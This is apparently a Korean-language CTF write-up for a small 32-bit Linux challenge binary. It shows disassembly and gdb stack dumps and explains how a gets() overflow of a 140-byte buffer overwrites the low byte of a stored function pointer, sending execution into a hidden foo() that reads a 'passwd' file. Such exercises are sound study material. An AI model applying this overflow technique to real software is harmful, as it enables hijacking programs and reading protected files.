문제 코드는 아래와 같다.
; Attributes: bp-based frame
public main
main proc near
s= byte ptr -8Ch
var_C= dword ptr -0Ch
var_8= dword ptr -8
lea ecx, [esp+4]
and esp, 0FFFFFFF0h
push dword ptr [ecx-4]
push ebp
mov ebp, esp
push ecx
sub esp, 0A4h
mov [ebp+var_8], offset boo
lea eax, [ebp+s]
mov [esp], eax ; s
call _gets
lea eax, [ebp+s]
mov [esp+4], eax
mov dword ptr [esp], offset aS ; "%s"
call _printf
mov eax, [ebp+var_8]
call eax
mov [ebp+var_C], eax
mov eax, 0
add esp, 0A4h
pop ecx
pop ebp
lea esp, [ecx-4]
retn
main endp
취약점은 s 변수의 크기가 140 Byte 이므로 140 Byte 이상 인자를 주면 일단 오버플로우는 발생한다. 다만 이번 문제에서는 숨겨진 foo() 함수를 실행하는 것이 관건이다.
디버깅을 해보면 0x080485C1 주소가 스택에 고정적으로 들어가 있다. 이부분을 변경하여 foo() 함수로 가도록 변경시켜야 하는데 foo() 함수의 주소는 0x080484F4 이다. 여기서 초기 몇 바이트는 건너뛰어도 상관없으므로 0x080485C1 주소를 마지막 C1 만
오버플로우로 덮어써버리면 우리가 원하는 함수로 이동시킬 수 있다.
그럼 디버깅을 해보도록 하자.
[root@ByJJoon study]# gdb chal
GNU gdb Fedora (6.8-24.fc9)
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(no debugging symbols found)
(gdb) disassemble main
Dump of assembler code for function main:
0x080485da <main+0>: lea 0x4(%esp),%ecx
0x080485de <main+4>: and $0xfffffff0,%esp
0x080485e1 <main+7>: pushl -0x4(%ecx)
0x080485e4 <main+10>: push %ebp
0x080485e5 <main+11>: mov %esp,%ebp
0x080485e7 <main+13>: push %ecx
0x080485e8 <main+14>: sub $0xa4,%esp
0x080485ee <main+20>: movl $0x80485c1,-0x8(%ebp)
0x080485f5 <main+27>: lea -0x8c(%ebp),%eax
0x080485fb <main+33>: mov %eax,(%esp)
0x080485fe <main+36>: call 0x8048398 <gets@plt>
0x08048603 <main+41>: lea -0x8c(%ebp),%eax
0x08048609 <main+47>: mov %eax,0x4(%esp)
0x0804860d <main+51>: movl $0x8048730,(%esp)
0x08048614 <main+58>: call 0x80483d8 <printf@plt>
0x08048619 <main+63>: mov -0x8(%ebp),%eax
0x0804861c <main+66>: call *%eax
0x0804861e <main+68>: mov %eax,-0xc(%ebp)
0x08048621 <main+71>: mov $0x0,%eax
0x08048626 <main+76>: add $0xa4,%esp
0x0804862c <main+82>: pop %ecx
0x0804862d <main+83>: pop %ebp
0x0804862e <main+84>: lea -0x4(%ecx),%esp
0x08048631 <main+87>: ret
End of assembler dump.
(gdb) b *main+66
Breakpoint 1 at 0x804861c
(gdb) r
Starting program: /home/byjjoon/study/chal
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x0804861c in main ()
Missing separate debuginfos, use: debuginfo-install glibc.i686
(gdb) x/32wx $esp
0xbfb3a150: 0x08048730 0xbfb3a16c 0x00000000 0x00000018
0xbfb3a160: 0x00000000 0x00000028 0x00000030 0x41414141
0xbfb3a170: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfb3a180: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfb3a190: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfb3a1a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfb3a1b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfb3a1c0: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
0xbfb3a1d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfb3a1e0: 0x41414141 0x41414141 0x41414141 0x00414141
0xbfb3a1f0: 0x080485c1 0xbfb3a210 0xbfb3a268 0x009095d6
0xbfb3a200: 0x08048650 0x08048420 0xbfb3a268 0x009095d6
0xbfb3a210: 0x00000001 0xbfb3a294 0xbfb3a29c 0x008f0810
0xbfb3a220: 0x00000000 0x00000001 0x00000001 0x00000000
0xbfb3a230: 0x00a57ff4 0x00000000 0x08048420 0xbfb3a268
0xbfb3a240: 0xe1b2ad48 0xa7ddba36 0x00000000 0x00000000
(gdb) x/32wx 0x080485c1
0x80485c1 <boo>: 0x83e58955 0x04c708ec 0x04872924 0xfe05e808
0x80485d1 <boo+16>: 0x02b8ffff 0xc9000000 0x244c8dc3 0xf0e48304
0x80485e1 <main+7>: 0x55fc71ff 0x8151e589 0x0000a4ec 0xf845c700
0x80485f1 <main+23>: 0x080485c1 0xff74858d 0x0489ffff 0xfd95e824
0x8048601 <main+39>: 0x858dffff 0xffffff74 0x04244489 0x302404c7
0x8048611 <main+55>: 0xe8080487 0xfffffdbf 0xfff8458b 0xf44589d0
0x8048621 <main+71>: 0x000000b8 0xa4c48100 0x59000000 0xfc618d5d
0x8048631 <main+87>: 0x909090c3 0x90909090 0x90909090 0x55909090
A를 131개 넣고 확인하면 0x080485c1 주소가 있다. 해당 주소는 boo()의 주소이다.
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/byjjoon/study/chal
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x0804861c in main ()
(gdb) x/32wx $esp
0xbfcb0fb0: 0x08048730 0xbfcb0fcc 0x00000000 0x00000018
0xbfcb0fc0: 0x00000000 0x00000028 0x00000030 0x41414141
0xbfcb0fd0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfcb0fe0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfcb0ff0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfcb1000: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfcb1010: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfcb1020: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
0xbfcb1030: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfcb1040: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfcb1050: 0x08048500 0xbfcb1070 0xbfcb10c8 0x009095d6
0xbfcb1060: 0x08048650 0x08048420 0xbfcb10c8 0x009095d6
0xbfcb1070: 0x00000001 0xbfcb10f4 0xbfcb10fc 0x008f0810
0xbfcb1080: 0x00000000 0x00000001 0x00000001 0x00000000
0xbfcb1090: 0x00a57ff4 0x00000000 0x08048420 0xbfcb10c8
0xbfcb10a0: 0x7a61c52e 0xcd6a1250 0x00000000 0x00000000
(gdb) x/32wx 0x08048500
0x8048500 <foo+12>: 0xf1e80804 0xc7fffffe 0x00042444 0xc7000000
0x8048510 <foo+28>: 0x00002404 0xcde80000 0xb8fffffe 0x080498e0
0x8048520 <foo+44>: 0x000100ba 0x24548900 0x2444c708 0x00000004
0x8048530 <foo+60>: 0x24048900 0xfffe6fe8 0x2444c7ff 0x00000004
0x8048540 <foo+76>: 0x2404c700 0x0804871a 0xfffe2be8 0xf84589ff
0x8048550 <foo+92>: 0xfff87d83 0x04c71875 0x04872324 0xfe96e808
0x8048560 <foo+108>: 0x04c7ffff 0x00000124 0xfe9ae800 0x44c7ffff
0x8048570 <foo+124>: 0x01000824 0x44c70000 0x98e00424 0x458b0804
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?E天
test
Program received signal SIGSEGV, Segmentation fault.
0x080485c0 in foo ()
(gdb) q
The program is running. Exit anyway? (y or n) y
[root@ByJJoon study]# cat passwd
test
[root@ByJJoon study]#
A를 132개 넣으면 0x080485c1 주소에서 마지막 한바이트를 00으로 덮어서 0x08048500 이 되고 해당 주소는 foo+12 위치이다. foo() 함수는 "passwd" 파일을 읽는 기능을 수행한다.